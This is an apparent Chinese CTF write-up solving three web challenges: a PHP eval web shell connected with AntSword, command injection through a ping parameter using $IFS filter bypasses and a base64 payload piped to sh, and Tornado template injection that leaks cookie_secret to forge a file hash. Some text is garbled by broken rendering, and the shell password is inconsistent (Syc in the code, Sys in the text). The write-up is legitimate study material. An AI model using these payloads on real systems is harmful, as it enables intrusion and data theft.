[极客大挑战 2019]Knife 1
进去以后,看到这个页面,猜想要用蚁剑
例
//eval — 把字符串bai作为PHP代码执行
eval('echo 123;');//输出123
eval($_POST["Syc"]);//上传一个字符串Sys
打开蚁剑,添加URL,密码为Sys
连接后在根目录找到flag
[GXYCT
[GXYCTF2019]Ping Ping Ping 1
进去后看到这个一个查询ip的格式,我们可以用这个来输入命令
首先输入/?ip=127.0.0.1|ls
,发现了两个目录
试试/?ip=127.0.0.1|cat flag.php
,空格被ban了
用$IFS
9
来
代
替
空
格
,
数
字
可
以
用
1
−
9
(
如
9来代替空格,数字可以用1-9(如
9来代替空格,数字可以用1−9(如IFS$1也一样可以绕过)
/?ip=127.0.0.1|cat$IFS$9flag.php
但是flag也被ban了,去index.php看看
我们发现基本上全被ban了
通过变量实现字符串拼接
解题思路
1.通过变量实现字符串拼接
构造/?ip=127.0.0.1;b=ag;a=fl;cat$IFS$1$a$b.php
注:此处将变量ab的位置互换是为了绕过字符串匹配
2.通过执行sh命令来执行 (bash被过滤了,不然也可以执行)
构造/?ip=127.0.0.1;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh
注:sh是linux中运行shell的命令,bash相当于sh的升级版,sh∈bash
[护网杯 2018]easy_tornado 1
进去flag.txt看看,发现要读取/fllllllllllllag,并且要相关的hash
看看这个路径
看看有没有模板注入,输入/error?msg={{9*3}}
返回ORZ,不太行
输入/error?msg={{1}}
返回1
去hints.txt看看,发现了hash加密的方式以及cookie_secret
再去welcome.txt看看,发现了render函数。render()函数是渲染函数,进行服务器端渲染。
Tornado框架的附属文件handler.settings中存在cookie_secret
于是构造/error?msg={{handler.settings}}
,返回了cookie_secret
cookie_secret为f28e1f96-265d-4692-80cf-587658c6dae6
filename就是/fllllllllllllag,md5解密后为3bf9f6cf685a6dd8defadabfb41a03a1
cookie_secret和filename连接后再进行md5加密
f28e1f96-265d-4692-80cf-587658c6dae63bf9f6cf685a6dd8defadabfb41a03a1
payload/file?filename=/fllllllllllllag&filehash=8fc07d4838f25f3ba330fce042f0d3df